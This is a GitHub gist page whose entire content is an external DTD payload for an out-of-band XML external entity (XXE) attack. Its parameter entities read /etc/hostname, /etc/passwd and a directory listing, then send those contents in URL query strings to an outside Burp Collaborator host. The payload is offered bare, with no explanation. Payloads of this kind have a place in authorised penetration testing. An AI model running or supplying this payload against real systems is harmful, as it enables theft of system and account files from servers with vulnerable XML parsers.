Skip to content

Instantly share code, notes, and snippets.

@UnleashTheCode
Last active April 19, 2024 18:46
Show Gist options
  • Save UnleashTheCode/a6a4924b4b26b17fd45f616b48606941 to your computer and use it in GitHub Desktop.
Save UnleashTheCode/a6a4924b4b26b17fd45f616b48606941 to your computer and use it in GitHub Desktop.
<!ENTITY % fileW SYSTEM "file:///etc/hostname">
<!ENTITY % fileL SYSTEM "file:///etc/passwd">
<!ENTITY % fileZ SYSTEM "file:///">
<!ENTITY % fileE SYSTEM "file://asdasdin/a">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://rfav2tjycj60sbkqud3i44z1lsrjf93y.oastify.com/?x=%fileW;'>">
<!ENTITY % evalq "<!ENTITY &#x25; exfiltrateq SYSTEM 'http://rfav2tjycj60sbkqud3i44z1lsrjf93y.oastify.com/?x=%fileL;'>">
<!ENTITY % evala "<!ENTITY &#x25; exfiltratea SYSTEM 'http://rfav2tjycj60sbkqud3i44z1lsrjf93y.oastify.com/?x=%fileZ;'>">
<!ENTITY % evale "<!ENTITY &#x25; exfiltratee SYSTEM 'http://rfav2tjycj60sbkqud3i44z1lsrjf93y.oastify.com/?x=%fileZ;'>">
%eval;
%evalq;
%evala;
%evale;
%exfiltrate;
%exfiltrateq;
%exfiltratea;
%exfiltratee;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment